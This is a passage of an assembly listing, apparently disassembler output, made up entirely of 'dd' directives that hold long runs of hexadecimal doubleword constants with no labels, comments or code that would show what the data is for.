6100DC8Ch, 713B5036h, 0F8E8D9F6h, 5C2BECEDh dd 200A5AFh, 325F7B6Bh, 9B002E49h, 26331EE7h, 90CAE631h dd 8A1A00FCh, 2C16F2DCh, 4B2FECCh, 7ABF4000h, 270E12FAh dd 28D34852h, 0CA797300h, 2561B29Ah, 691F3275h, 0DF8BDB07h dd 48280062h, 337EEDh, 5DA2D123h, 2268C59Ah, 4A305E00h dd 6FAB09F9h, 0C864285Ch, 43F043C4h, 2D5500E4h, 0B019EFF5h dd 271B005Ah, 0ACD24BDFh, 0BE006D3Eh, 35EEE88Bh, 728C0C13h dd 0BAB300C3h, 0B03FB7CFh, 914F1Fh, 7402EE16h, 0C52ABFh dd 9BCD2FEFh, 48E23Eh, 26450841h, 0AF9C3F6h, 0C589FF03h dd 4C3B8044h, 0DBB2BF76h, 3904800h, 9F93CBDEh, 0E77AC0C5h dd 914B4530h, 726D7303h, 8056EC86h, 241517Ah, 0E13AE4BBh dd 5C60AFA6h, 3038754h, 0F2995F7Eh, 0D5DEF8DBh, 129EF8E0h dd 534BF443h, 936C0588h, 60D0C771h, 9B2B322h, 74FB9F0Fh dd 5773E08Dh, 15D1D8h, 21DF110Fh, 0DB861879h, 0F100167Fh dd 0F3BCD641h, 8BBF6Ah, 4D577A9Dh, 79D7E3D2h, 0D8D34800h dd 0DD028CB5h, 19950034h, 171120Ah, 53B8133Ch, 5705CFFAh dd 0D4D39D20h, 0E081FB0Eh, 438BC834h, 0ECB8F867h, 9B4E1F84h dd 0B74F03C3h, 0C0094D37h, 251A98h, 3F169226h, 60AB09C6h dd 0AC0E738Dh, 600D8267h, 1F7EF21Dh, 0C6DB8E07h, 923359D3h dd 88D185EDh, 0C2273E6h, 0BC90F0D4h, 8E351300h, 0D75B4CBFh dd 4838EC5Dh, 95BB05D8h, 0D4900E27h, 75989Ah, 4F73BA43h dd 0A54B46CAh, 5FDC8200h, 78E6A8D2h, 80B0D7h, 5D9116A4h dd 0EDEC9A0Ah, 3981F117h, 880FA1B8h, 8C803794h, 0DF9317A9h dd 0C061DE00h, 7F77D6A5h, 7AF10366h, 544AC410h, 0E0027CE8h dd 1F0F7F2h, 9499D09h, 0EE4C988Ch, 41AB001Bh, 0CE541D8Dh dd 290B017Dh, 84A0E505h, 0BCD1E22Ch, 51C46FF9h, 64768Ah dd 15DB50C9h, 0A1395D54h, 5E2E0F01h, 319EFF8Eh, 0B4FCCCh dd 2FDE1590h, 59A25CCCh, 441FA600h, 0CBB1E34Ch, 0C4991FF0h dd 804700E8h, 895114FFh, 81EDA601h, 827CB41Bh, 7469FF70h dd 0F424F929h, 4C984C0Fh, 5F2E263Bh, 85530384h, 0B2E22021h dd 0F1C65C68h, 41ACA800h, 0DBBA22E3h, 0F0EA3A07h, 0BC37BE80h dd 0F5ABAFD0h, 0B90B5000h dd 4B0A8E22h, 2FD20764h, 3067012Dh, 4387DCE2h, 24200600h dd 3846CB72h, 45AD00E7h, 4D495EE6h, 41744091h, 8A8EA400h dd 7BE04BE4h, 0E626031Fh, 71C6D1CEh, 8E89FBD0h, 803A6700h dd 949B632Dh, 1729E85Ah, 0F00550h, 1A68950Bh, 0C11D02FFh dd 13803782h, 394EABD5h, 0F85D01FDh, 2906944Ch, 0B2C824E5h dd 0FE2DEC1Ch, 0F142300h, 95B7A09h, 0DD4212D1h, 594524C0h dd 0AA991C00h, 0E269E8C8h, 285B3FE5h, 633CF409h, 42C57C80h dd 903B8A8Fh, 3A106727h, 0A7754080h, 806807D0h, 0D03E7BA6h dd 0B181626Ah, 5B546C00h, 0D55E75FBh, 0F79800CEh, 8F3FA959h dd 3E302B9Fh, 4A088023h, 84C85017h, 285400B1h, 60FE8FFBh dd 190C9475h, 0A44006D5h, 8BE6B0h, 0ECC185EBh, 26087E21h dd 553A3E00h, 4C290E91h, 0A5DC00F0h, 0D5C2095h, 430BC64Eh dd 8096E2FCh, 28CFED47h, 5BF20068h, 0D8CB4F30h, 3C00B7D6h dd 0CA58561Ch, 0D73BA4h, 907B9757h, 0FFB24D9Bh, 1EF34F26h dd 0FC923300h, 0E7AB89h, 0D871D379h, 28905D37h, 0BC539800h dd 0E6959458h, 57930080h, 0DE2A01DBh, 6126B439h, 0A900C476h dd 9590C2Dh, 987C0057h, 0B45341BEh, 58246FBFh, 3400A6DCh dd 0EEBDC30Dh, 0B50C0B79h, 8D036E9Fh, 3DF833C2h, 0E03F7E88h dd 1A0700DCh, 0BD7A8566h, 77680096h, 7649BBBAh, 75002A2Bh dd 36DD59C0h, 28B5873Bh, 0B4C2E3h, 6A2DBA8Ch, 0E25619B0h dd 0EB40360Eh, 0A58B8B88h, 80EF03C8h, 839C6AD2h, 0C1CA600h dd 7A6721E5h, 0C8363BC5h, 0B7FC7700h, 0D49850B3h, 84AF2612h dd 0C240281Dh, 0B45D5386h, 5C7701C4h, 886A52CCh, 7208082h dd 3FBA80B9h, 0A781002Bh, 943217C8h, 0CD3C04CAh, 0B0520967h dd 0B1ACA035h, 3D24860h, 73E9F242h, 824C2F3h, 0FF802050h dd 0B7924B6Fh, 64DD0C2Fh, 7358DB45h, 3213A80Bh, 51A0A05Ch dd 98216Ch, 0E104C8B6h, 8981F46Bh, 24DB353Fh, 0DC804829h dd 0ADEBEEFFh, 0CC70002Eh, 8338097Bh, 8407CD11h, 0D7553235h dd 0F9582039h, 7C252E6Dh, 238A0314h, 83F51BC3h, 0E3F1D000h dd 0A1A2ADFDh, 43991ECCh, 153F808Ah, 19C1ED78h, 1C429E00h dd 7B56772h, 0DA1F008Eh, 924801A6h, 657EECA8h, 53B01B0Fh dd 0B905D3DCh, 8D05C75Ch, 0AD806EACh, 0F8243Bh, 3C641628h dd 0BA036794h, 0DE909100h, 0F3549E22h, 664300D8h, 0D9931497h dd 0C2008878h, 0F9990C1Fh, 33DCA39h, 4A0DB7Ah, 0D8B88902h dd 0CE60B85Fh, 38C0DDA0h, 0F1A10048h, 2590E73Bh, 177131EFh dd 685D4100h, 55564462h, 0B11900C7h, 0A1B6C2FCh, 42009B02h dd 7E4C7AF8h, 3E58D872h, 779C216Fh, 0EA43004Dh, 0DE5B13CBh dd 0D931D401h, 3971FCC5h, 4D7800DFh, 0BEF747E7h, 0B4009DC1h dd 0DDFBD0B6h, 7C5D9271h, 0FA18004Ch, 7D8E304Ah, 1B05A565h dd 0A0DADDA8h, 2C1C584h, 19F02190h, 604B1F1Ch, 6AAB803Fh dd 29EA7203h, 4D00B178h, 0AF133817h, 1E713D08h, 163E37CFh dd 6101EEDDh, 0F8DEF4E6h, 18C3E3E8h, 2034D2AFh, 0AC03127Eh dd 7DBFE184h, 61C0F883h, 3FA20023h, 3BABF8D5h, 0BD0E09F7h dd 80F1F585h, 71763E52h, 88116070h, 8D8B2D6h, 8AA3A700h dd 4AF9C4CFh, 6FA50C22h, 0B2693F6Ah, 7B27DE00h, 0DA50CD8Fh dd 12AB1C19h, 0AF34C05Dh, 0E6B6BB65h, 934A3Eh, 27BD0802h dd 797EB0Bh, 32FEA3A4h, 584E26B8h, 2925A902h, 0D5443D73h dd 35A2C160h, 0DAA7760Eh, 0C0378FE0h, 662223C6h, 2CF00081h dd 67B15D7Eh, 0A400E242h, 7BAB082Bh, 1499B5Ch, 3E246C2Fh dd 0F8CB4507h, 0F42C4671h, 4000D70Ah, 0B1168DC3h, 7AA70349h dd 0AF106AE0h, 9BBBE3B8h, 5E2BA500h, 472D771Bh, 37BD5802h dd 0D8A2D301h, 7B591778h, 3C56B0h, 2180A10h, 34A43753h dd 1446EC00h, 0C6DFB077h, 0F7614CFCh, 13BB507h, 37F710B3h dd 0D70E2385h, 60B76D1Ah, 7B946A87h, 2488005Fh, 0B22FE8BCh dd 0DB0E4868h, 0E71FE74Ch, 0D7C0E58Ah, 1B54344h, 0D57CAC1Eh dd 6B656CC9h, 0AEDF80C0h, 24A90333h, 89E5D056h, 8EF1D5C9h dd 0BD603F21h, 98F7BD00h, 6FA0FCh, 76B4B7B5h, 0C5FD822Dh dd 41FA2C1Eh, 0F3CB25C0h, 0E68794h, 0A37D6EEh, 53BD9503h dd 7435C001h, 0DD9192Ah, 0C34AE940h, 96793EA7h, 0DEF6409Ch dd 0A4C40066h, 67082D2Ah, 0D40C940Fh, 0F6C2A317h, 0B31DEDC9h dd 202ED80Dh, 10ECDFCDh, 3C200574h, 8151C7A0h, 8C6C0166h dd 0C9F76E71h, 28EE0008h, 0E367B293h, 0F0E90EB9h, 0A60037A5h dd 6192B16h, 30756B2Ah, 8161E9D0h, 0E860A9EEh, 45952040h dd 970E07BAh, 9EBB1298h, 877537C0h, 0F607F9F8h, 29393826h dd 7EFB13D0h, 8B0A0096h, 6B2FCE3Bh, 67297C58h, 8180BCD2h dd 14AADDAEh, 30D542DBh, 7C5D71B4h, 0A3840965h, 7E0034C3h dd 3CF7C5DBh, 0A25CB502h, 8038E017h, 0E2B151B0h, 0CA1A0094h dd 0E98B1284h, 0D00ED364h, 0C0882EFEh, 2373DBBFh, 0C5E50F60h dd 0DDE73C14h, 0FCECA0A8h, 43169869h, 100ED82h, 4917AB80h dd 8F1D035Ah, 92614D89h, 1F302000h, 1566F736h, 0EB2601A5h dd 54B4FBCCh, 4BABF814h, 0EA3BB200h, 805E084Eh, 38506316h dd 88A8F24Dh, 2033566h, 0EC85725Fh, 4929A060h, 289998ACh dd 877471h, 0FE8431A4h, 0CBBECAA5h, 4D83FB19h, 95D09880h dd 11AB6040h, 180B78E2h, 36300A03h, 18328557h, 204B3C08h dd 0B004E45h, 0FD0CB6E4h, 0E5C0E8h, 0B5DDD2CBh, 91ACFBD9h dd 80EB1207h, 4E438539h, 9AD01D11h, 0B5B286DFh, 0E1EEC84Bh dd 378BC6Fh, 97C89FF3h, 0E6670760h, 9BCB0043h, 4A22DB23h dd 69027513h, 2F386371h, 6526C020h, 1E5F0068h, 0E61070A6h dd 8800A70Ch, 54631D38h, 922D2BAh, 5CD71ACAh, 119EA780h dd 260339EEh, 0BB83D109h, 2280B806h, 58B4E618h, 0C907E3E2h dd 507C2C73h, 2B5425Fh, 0BE866E00h, 768E7D35h, 0B0FE8Fh dd 0CD2ED1F4h, 0DED9E160h, 222F7700h, 50D736A3h, 4B801E1Ah dd 0D25870B5h, 7D0003CFh, 66FCCBBAh, 183178h, 0C011C5D4h dd 9B99A84Ch, 0A0370300h, 0CABF2384h, 825500EEh, 0AA5375ABh dd 601D75Fh, 81AD9373h, 0F0FF6FD9h, 0A0993FB0h, 0FA3757A4h dd 5590C3Dh, 0DD3887E1h, 9B175C00h, 0BEC524ECh, 3D40072Ah dd 50652BB5h, 13569308h, 981FB102h, 0C04583D3h, 9369A5Ch dd 5DCD0B23h, 0B9B75501h, 3163E412h, 0D4004E79h, 0A9673882h dd 0C72111EEh, 63F12DE0h, 60005A43h, 0A65879ECh, 15CEFB7h dd 0BAE67CBDh, 0E434BE2Ch, 5303A175h, 907931D3h, 0EC7800D9h dd 64BF0F28h, 58005763h, 14EE65CAh, 9CB135h, 762EAF56h dd 8E216040h, 5D4D6700h, 0AC4F7F05h, 0D54300D0h, 8046C6FEh dd 7000F56Eh, 9505F61Eh, 0F9F3F69h, 3137C786h, 3854A100h dd 0D100E3C9h, 0E0EFF933h, 3DF69641h, 0A78331CCh, 0A4E11085h dd 68FE2800h, 867FD4Dh, 1C0B0E34h, 58802C50h, 0B0384A74h dd 2A3F2B0Fh, 0B96B228Dh, 0D1AD6086h, 741AF0FBh, 0FEA9001Bh dd 2230900Eh, 0D7C7F06h, 0B07A9F30h, 187492EDh, 28FDA239h dd 55005282h, 56E5CE19h, 90E08Fh, 612BC123h, 73D91B5Dh dd 0F0F9A812h, 0AE7F3300h, 464ECAh, 9B7E96D4h, 7A73083Ah dd 763EF94Ch, 0A56A7B1Dh, 0F20B3341h, 23E0F35Eh, 99660793h dd 0A0AC4139h, 2A8E8536h, 0C405741Fh, 8D297080h, 0C0069CF7h dd 0F5993910h, 0FC07365Ah, 38CAEC91h, 2575EB00h, 471E0033h dd 0F3068D22h, 20007B53h dd 888C506Fh, 77D2DAh, 1FF6C84Bh, 67DBCBFAh, 0D01FE74h dd 0B2FC956h, 38F0C480h, 3D111FE2h, 1E8C406Ah, 0A046A2B5h dd 93723007h, 15C0C4D0h, 0AF2A312h, 5A059A14h, 62002F81h dd 0FA0DB5C1h, 8D3BB001h, 0D52A9780h, 0D1B3D8h, 68B96ADCh dd 44BB346Fh, 70121130h, 0AB5E65h, 0FD4C090h, 48992024h dd 0DB88E260h, 7DAE2F87h, 254B00D2h, 0FEC02D6Fh, 0EF00BC22h dd 0B8FAB959h, 0A938EDh, 98D01219h, 617B28DCh, 0C1D17F1Eh dd 21AFA407h, 99CD94E0h, 281E0185h, 0C957030Bh, 0A42BCC4Bh dd 1FA17300h, 0A9E5AFDFh, 0DAD60153h, 0DC9E3B69h, 0A699C4E0h dd 4CEFE200h, 0C6191E62h, 0BA05006Ch, 0D951773Bh, 0B400A8CBh dd 0E8A07A75h, 5987E70h, 0ECE37DA9h, 7803C0D2h, 0B7006322h dd 0CEF6B231h, 0E4BB0Ch, 0BE15519Ch, 1247EB0Eh, 7CCADF00h dd 0D8041FB2h, 34AD078Bh, 0C08CC9C5h, 571B4550h, 7060ED07h dd 9CA0D852h, 2FC24h, 0F59DF06Fh, 0CD6971DDh, 26417F00h dd 965A1D48h, 43FE390Fh, 567CE400h, 504449FFh, 0C3118400h dd 0E86BD497h, 0DCC0EEEh, 78204039h, 5D7BBD68h, 0B7429B00h dd 0FDF1D880h, 0C828DD6Ah, 6E073A7Dh, 5D107E94h, 8089223Fh dd 6940F94Ah, 7E7A4514h, 30282E86h, 0AF514443h, 88817617h dd 99A71441h, 0FD075188h, 6CEF10BCh, 3F405C11h, 0B296474h dd 11C3B721h, 39104610h, 6F80B878h, 8FB040BFh, 0E4801B77h dd 0FD048979h, 0CB730163h, 0EE0B5188h, 0E901888h, 0EC00E90Ah dd 5967357Eh, 9063CD28h, 5D663603h, 0B8B0E378h, 0C25657h dd 1C52F674h, 32BE247Bh, 0BF983C03h, 80A3AA6Dh, 498C18h dd 56DE99A4h, 0F32F9036h, 1D95E23Dh, 0A5005C26h, 0C80E013Ah dd 8B6800D7h, 7EE62C93h, 0AD005ED4h, 5774EC50h, 9AC4E4h dd 1E28B071h, 9880955Fh, 6E441003h, 90B27412h, 2511B1h dd 0B835AD31h, 8C5DD173h, 799D7F00h, 0BA71262Dh, 0BF7A6Ch dd 0B064357Bh, 301312B5h, 0B4D7C500h, 936AE2EFh, 0EA44009Eh dd 0C6CDAC59h, 0CE0341B9h, 0DE380E0Bh, 8D5B8862h, 0FED600A7h dd 0CADBF29Dh, 639EAA2h, 7A0187CEh, 78101FD1h, 0B8513516h dd 0F2370064h, 23792770h, 0ADEC6FCEh, 0FCFD0400h, 4AC58F1Eh dd 641707BCh, 0D0321CE0h, 0A36B0A4Eh, 0CB11E11Dh, 2B0E1F5Dh dd 8A712053h, 0F684544Ah, 3AF6EE6Ah, 778021C9h, 3409127Ch dd 79713363h, 880D2400h, 57CB25ADh, 0BC053FE0h, 6C37E600h dd 61542922h, 7C468000h, 0AECAA2D7h, 6D9200EBh, 8C8E77Eh dd 3900E33Fh, 0C7E05B1Eh, 9145E2h, 68B78C56h, 0B0D4A027h dd 16540F07h, 3B70F743h, 8D38A6h, 0F8D29508h, 0C47636C8h dd 0BAE1553Ch, 0B600FD3Eh, 5B86C28Ah, 58910CC3h, 0A3D504Fh dd 9A13010Eh, 84546D67h, 0FF8C092h, 5300CC97h, 58987BE6h dd 4AE4A8h, 0FB41BDCEh, 0ECAD3F67h, 0F8D3007h, 5567B9A6h dd 0C80C1D80h, 0DD910F99h, 2280E9F1h, 3E0E615Ah, 1F77EA00h dd 4C11EF3h, 6AD0048h, 29B2989Eh, 7E0080C0h, 0E253C2B1h dd 0CA26F6h, 93336D72h, 494722DAh, 2FFA8790h, 0D42A7303h dd 0CF8DAF65h, 814CB880h, 0A591223h, 103600E2h, 9588D2CBh dd 24F4BE00h, 0EDE71770h, 0A366091Ch, 3F0099F7h, 0E165280Ah dd 5B0F3277h, 0C76860FDh, 3820BC7Dh, 7CA9963h, 0C36C4D15h dd 6092B0FCh, 2CB0350Bh, 0CCA36800h, 0F6E85546h, 0F70103C0h dd 0A208C672h, 0E6A67680h, 156F6300h, 4134D365h, 50DB1E84h dd 8CE1C040h, 226A0936h, 3370A605h, 8880F725h, 745A7E44h dd 2650024h, 0EDBC99ABh, 0F500E6FBh, 3977D46Bh, 3A3798D8h dd 0AC809510h, 78C2C74Bh, 6958763Eh, 0BE7500D7h, 0FFF31380h dd 94AF0002h, 0A255F57Bh, 4B3C4DF4h, 0FBF000C2h, 8250C131h dd 27C46h, 266B4861h, 0C5354270h, 73CE250Eh, 0F2B6C719h dd 3F62BF81h, 5EEBF8C3h, 7AEE0Bh, 0D2A149D4h, 0B1B9D8EDh dd 3975713Eh, 0F48C89FAh, 28B80009h, 181C698h, 0E3A58891h dd 0ECC54344h, 4602D8F3h, 0B86C6554h, 8CCF87ACh, 991F2940h dd 5F140072h, 0AF792CA2h, 81000B6Ah, 745D4B0h, 17659593h dd 6296B4h, 666B6CAh, 0A6756AF2h, 0FD5D6B00h, 7DBEF009h dd 63763AB7h, 3C3D9880h, 75F8E136h, 0DEA01100h, 0AFAB661h dd 0AD4F01ACh, 0BE50B2EEh, 9A7DC4EAh, 63404Ch, 0E23186BDh dd 3DC458h, 0D1A2C826h, 872233C3h, 3F700200h, 0F3B82029h dd 3683E76h, 0E8FCD900h, 0F60CF008h, 0D0EBE200h, 9BA15ABCh dd 0FF3A026Bh, 22A95F56h, 9FCC8Eh, 87EBBE98h, 28003B37h dd 41E4913h, 12F05CB2h, 3CE367h, 91C70530h, 3D009D8Dh dd 5CD611ECh, 7C9F31Dh, 3E2078D2h, 0D4DDB174h, 0EB2FF0C0h dd 8CC2E51Ch, 7D70DC40h, 0F0D87FA3h, 17800092h, 63FF94C4h dd 0DD003611h, 2AD08572h, 0D9561Fh, 0C6CED703h, 0FCCAED6Eh dd 0B6A7F003h, 0EA2ABE9Dh, 2560DD3Ah, 34F24A54h, 0F9091B00h dd 9CFC48C3h, 77400A5h, 0EABA86F3h, 587912C9h, 19F16A01h dd 9B7B461Ch, 4BC5B0DCh, 29E0055h, 8526291Dh, 0DC001090h dd 0CC398CD6h, 3C0E1931h, 0E29E3D0Fh, 0C75BC0B4h, 0B3B5D95Dh dd 0FFFCE001h, 5654D1B1h, 9378A880h, 0B7406497h, 796A4E02h dd 402CFD8Fh, 7E9528h, 0CCCBB8C5h, 0F50E7250h, 430DD818h dd 64B1F6h, 0B754DF06h, 40365752h, 0F105101Fh, 7E916580h dd 29F7DD7h, 57DF3AAFh, 16407619h, 0FEA05B69h, 6500A736h dd 120D6ECFh, 16D8AD27h, 579D9Eh, 808AA846h, 0D30016EAh dd 14986E9Ah, 3BF63805h, 0B4815EFFh, 847363B0h, 0CCF4C41Ch dd 228A5700h, 0A1C4092Dh, 5FF90052h, 6D3B2A85h, 0D0007D32h dd 164E01CEh, 1429D90h, 983F490Fh, 607C3744h, 51E6C98Ah dd 7961CB00h, 0C657632Fh, 234B0097h, 72B6AEC4h, 50075A7h dd 3C7A9A5Dh, 8A0A16h, 274724CCh, 0F2B9AE1Dh, 5FBC5407h dd 0C8910C94h, 0D8CCC003h, 0F1DB002Fh, 0D671C5F5h, 160EF318h dd 0AFD23B42h, 4E7DA1E4h, 6CD478B7h, 87EA03F4h, 0DC8BDE71h dd 300BA898h, 8FAE5704h, 0F8C8F2D2h, 782F0012h, 10A3264Fh dd 0EF0044B8h, 1F5F46D6h, 0F78F34h, 4C197535h, 424F8A93h dd 6E96B205h, 0D382F322h, 0E020E017h, 0A2DA0158h, 2D2F78C4h dd 4F5D7028h, 66398500h, 21CD6026h, 0EE8C0029h, 0BF361E31h dd 0E100EC94h, 0F37DC84Ah, 2889AB2h, 0FE340FE7h, 6D609903h dd 0D3172436h, 420379Dh, 48965BEFh, 0E8002923h, 5D1EDB55h dd 400AC58h, 316DE20Ch, 0E6F25C20h, 767000BCh, 0C264300Fh dd 0E01EE799h, 0B2404A26h, 0BAA9AFBEh, 0D4524D93h, 0CBFC421Fh dd 7905F969h, 5388161h, 4E68609Ch, 87DE7E38h, 0DD97FA15h dd 192BF570h, 75770FACh, 0E2E088AEh, 99B18533h, 0E8968F0Fh dd 0DCBF403Fh, 31E12C4h, 3A78FD77h, 80DF0CB8h, 0C2960430h dd 0EA3CB000h, 49C89D86h, 8D8A372Fh, 0CE169092h, 0E6002DC3h dd 156C6FABh, 2879035h, 995D54E5h, 607F0FC6h, 0FE23722h dd 650CD2E4h, 80F13264h, 631D6120h, 13223C00h, 0A3AA8B1Bh dd 0B67A0F3Fh, 0AB00388Eh, 64A0F85Ch, 45213D00h, 2CE7F0B3h dd 724A2C31h, 0C41A0088h, 0D48735F5h, 1FE5803Ah, 7A87057Dh dd 16202A03h, 0C40CA1h, 5619434Dh, 5EAD2995h, 0CECB3D24h dd 9DF74100h, 0E4D249CDh, 0C3C6C0E6h, 0C1F96514h, 0F4817D00h dd 0BD5EA589h, 0D42B0030h, 6152C8F3h, 0D107C2F0h, 5C1B36BBh dd 0C654C460h, 58712CAAh dd 0A60900C2h, 0BD9D3213h, 97032701h, 0C3F8680Ch, 0F8610F0h dd 0ED83A771h, 0A43B7080h, 63987754h, 0EA38FC01h, 4A7625C7h dd 5F5030h, 0A5A686Eh, 5EE7173h, 40060B00h, 0A94A7CF4h dd 264C9814h, 0AE1970h, 8879582Bh, 1000564h, 10E14F86h dd 38F20B5Bh, 0B800B522h, 0F44382F6h, 58011BCBh, 0CEFB87D7h dd 0EACC8C53h, 62B00F8Eh, 79239B8Ah, 0C8E10C5Bh, 0F346EC9Ch dd 23DF3Ch, 1A05907Dh, 1E573114h, 83C6E9A0h, 0F44D557Ah dd 1E66884Ch, 181F3851h, 3B66FD80h, 1E4E83Dh, 81A41398h dd 30B7F11Fh, 2002F70h, 16D019AAh, 0FB9271h, 0C45A6DF6h dd 0A3AE5838h, 0E96F43Eh, 40DDD87Eh, 0ACBC21E4h, 498D0022h dd 3CEAEEA9h, 0ED003492h, 0B7312EBFh, 1D5F36h, 7F795D83h dd 3D02476Bh, 5BD5D000h, 0F0D3DEC1h, 3F42750Ah, 3C81EE2Ah dd 6E063AF6h, 4D7AF05Fh, 0EFB16003h, 0F64A5EF4h, 0BBD89DE0h dd 0B53B5600h, 80354FCAh, 9EB3009Ah, 0A9B3D17h, 0D3017C0Dh dd 0E7FB0CAEh, 788195CFh, 8DDBD1FFh, 51A6CCA5h, 13E3948h dd 19AFE078h, 31C0AD11h, 33FE46h, 0A1DA0F6Fh, 0A62EEE7Ah dd 85EC0E01h, 32E2D592h, 798C46D8h, 5ADF00A5h, 0B0CD62B5h dd 0F500CC1Ch, 7365B220h, 1F7D197h, 568E8998h, 0F1FB7715h dd 96A85045h, 517B16A5h, 0C7ABB100h, 0D57DFCCDh, 0D09ACEh dd 0CBA30BE3h, 0B0BBAD86h, 8DE07100h, 0F05FDA66h, 0D5E1EE8h dd 29D4CF01h, 0F79EBCC0h, 9113E4BAh, 8800B31Fh, 39CD8F96h dd 0DAE63Bh, 0DC2C3C86h, 88AD7148h, 23BD2406h, 0A0CCF1h dd 0F32E6312h, 4092D362h, 36E3300h, 768DB70Ch, 0B43800C6h dd 880EFD9Dh, 7D00EFE3h, 708A87A8h, 0EF3C96Bh, 14F6596Fh dd 0FD26409Dh, 0FA54513Ch, 33FCC3Fh, 0B4B0D380h, 0F0368B33h dd 1EE5B530h, 7C13299h, 9182C38h, 0FF7BDCB8h, 0C0841F00h dd 2E446297h, 56F400D1h, 0D7AD8E3h, 4F00C131h, 0C8925CFEh dd 65174Dh, 9C9823F1h, 0E2AD709h, 0E200EAF8h, 1FF94411h dd 7A1C1B83h, 42500010h, 9BDF1EBBh, 0A5006E02h, 0AE4B4A78h dd 935D37h, 4D12161h, 0FAA16226h, 0F8ACBF68h, 0F8B89607h dd 0CBF58EC0h, 9D82008Ah, 70EBABB0h, 0C9001799h, 0AC33C2E6h dd 1689A1Eh, 47038878h, 0D4C6A186h, 0AB488F01h, 3F360024h dd 947CBB82h, 0C2F800A2h, 52FE3DD3h, 5BFEA870h, 41973300h dd 69196D91h, 7C12875h, 21E20781h, 331B3A5Dh, 7CA802DAh dd 32070347h, 0AD996B25h, 0DDCE8940h, 7F4F2D9Ah, 0A3CCAC02h dd 139E044h, 7D6D8F73h, 0DA25C0B3h, 7E3148h, 0EEE4157Fh dd 0E2559DF8h, 0F5496500h, 41132643h, 0BF9F20Eh, 3B2E59Ch dd 0B9401A02h, 7DBB8860h, 66070176h, 9DD7C673h, 391D4A51h dd 0E33860h, 5F0241FCh, 5DE17903h, 8F8C203Ah, 60ACB48Bh dd 7E3B6B69h, 297E3Fh, 88C3F635h, 7DFEB5BCh, 28C2A200h dd 999B52D9h, 5E1600C9h, 0CC419DC7h, 600D082h, 0AB7875BEh dd 43A244h, 3D40CF4Eh, 978C1AA8h, 8DD2B500h, 75E439A4h dd 0F9320EB1h, 0BC5CBEh, 31D76E4Fh, 86008FD8h, 742BE15Dh dd 15E71C1h, 0A91CA5E2h, 20E060B3h, 65015979h, 514EEE4Ah dd 5CDCB604h, 650032Fh, 914D6D0Bh, 5973E00h, 594EBFDDh dd 2812019Eh, 9D64C2F9h, 0FFADF81Fh, 0BFDB9F00h, 68317852h dd 0A95B48CDh, 0E7216407h, 97FF00A3h, 3000142Ah, 50B18866h dd 0F2852h, 0DB96EC02h, 5BB7CB92h, 887E9B00h, 0A8EA34AEh dd 58440033h, 7325EBE2h, 2900866Ah, 40E07607h, 0CBC3E1h dd 0C694ED84h, 51E767E6h, 86568928h, 0BFCAE39h, 80E9424Bh dd 5B122E17h, 723076Bh, 10591882h, 0E9055A87h, 1E00FA74h dd 0E88E2050h, 0F5909Fh, 9D41B3DDh, 160C4608h, 0EF00FDFEh dd 70E72A6Bh, 30B5744h, 0AA71F295h, 0C3C03B07h, 0DC004EE4h dd 9A7FCE05h, 756925Eh, 2B1A80B6h, 24002E41h, 331744CAh dd 0AF14Ch, 210DCC70h, 307222Fh, 8F4F2A43h, 0AEB9F65Bh dd 6B87E8FFh, 0E9868800h, 4450A711h, 1F2948CFh, 3E202Eh dd 58BA1C8Bh, 0EF003789h, 13D4E07Bh, 11D8D0Eh, 0C79CD6E4h dd 8042D143h, 6A6BEE82h, 0ABE3BAh, 309F5C0Ch, 0DFFABE2Ah dd 0F0E2BE2h, 272817h, 4D0C396Fh, 35743F75h, 25642F80h dd 9F916CA2h, 38AF300h, 1350C590h, 0A60600E6h, 2EED0E3Ch dd 0A3008807h, 2BFE6664h, 0E6D7B7A7h, 0BA02038Bh, 0DC2EB2ADh dd 0BB652390h, 7FDD0601h, 253E508Ah, 0F059540h, 0D3E717D9h dd 863A0CDh, 4688DD01h, 3294DCEAh, 0CC8DB9F8h, 0C860AF10h dd 0DB1D711Eh, 21C32040h, 0E8B13A7Bh, 1291035Bh, 47E4551h dd 2527A581h, 9368E038h, 0E43FCB00h, 0AB4D7013h, 0C50D07A3h dd 30240E56h, 965022D4h, 9B24F00h, 5F173FD3h, 1E7600B7h dd 0B4C32379h, 68C7861Dh, 28B06BB5h, 0E13D1Ch, 2C85097Dh dd 0A953E4ADh, 0D817EA00h, 4290D3CBh, 0C79600A8h, 4BAFAE1h dd 0D01E0670h, 0A1C07398h, 0DCD29167h, 8A8D1EEEh, 839C40D4h dd 0CBBCE053h, 450BB100h, 4F3252Ch, 0B89B0022h, 0CF7CA1CDh dd 1F003CDAh, 2427DED2h, 0C0D19192h, 0E22A2C80h, 4000B37h dd 36F7A793h, 0C16390h, 1B4125CAh, 548469FCh, 48A20E00h dd 5321D7CFh, 0DA80BC0h, 0D480948Ah, 0F209FB47h, 0E3E7C401h dd 96696E16h, 3C7A89CCh, 0AB0B7511h, 8B03456Fh, 9CE04A1Fh dd 0A0E6213h, 0EFC16B61h, 0B56C2091h, 393BC4C0h, 0F0C8A096h dd 24F7563Ch, 24BE2D26h, 0F035009Ch, 8A7C1524h, 0F1223D0Eh dd 5D4E202Fh, 3E3E868Eh, 74300Ch, 55A1E4B1h, 2799E898h dd 1F362B0Eh, 86D94007h, 14BFD0Bh, 4C56877Ch, 0FC40F3DCh dd 15009DE3h, 0A966C068h, 7E51CFh, 0F17BD696h, 0B77F1CB2h dd 0E6300300h, 0FBF3AD13h, 73F9002Dh, 59FD407Bh, 57004E36h dd 0B88655F8h, 70EDFh, 0BFE92C0Fh, 2E1DF31Fh, 0A900F0B8h dd 0C4F19D55h, 17C277D7h, 0A8CE7F71h, 6AD300B5h, 1532D28Ch dd 838F01ACh, 84190474h, 46FF705Ah, 5D3F1E01h, 14DDFD8Ah dd 38B6ACCh, 4120695Eh, 0A590AED4h, 0E1008221h, 9F388081h dd 0A91A16h, 0ED141EEFh, 0BC2593CAh, 66EB6505h, 4B8772ACh dd 5F56CEF0h, 0E1D60035h, 5D4CAFCCh, 8F003EC1h, 0B66BD59Bh dd 1860100Bh, 0D0E3A7C9h, 4600E282h, 7470A528h, 3ECDA4h dd 0EB454F89h, 0BD2F5539h, 58E48E00h, 9A4DECB2h, 0FDF20F5Dh dd 0C700D9B0h, 7856ED82h, 0C50E24EAh, 200BEE36h, 0C29122A5h dd 306C90AFh, 0B8B6F656h, 0DF0044E9h, 8006E5D6h, 757C4294h dd 0E04D0559h, 0C023A328h, 65ED8642h, 69094700h, 0EE073BFBh dd 0EB77007Ah, 2D50747Ch, 16008C70h, 0E79E5C29h, 0B8306Ch dd 71F85B75h, 0B1A2D9D5h, 0A5009375h, 3A44F6CAh, 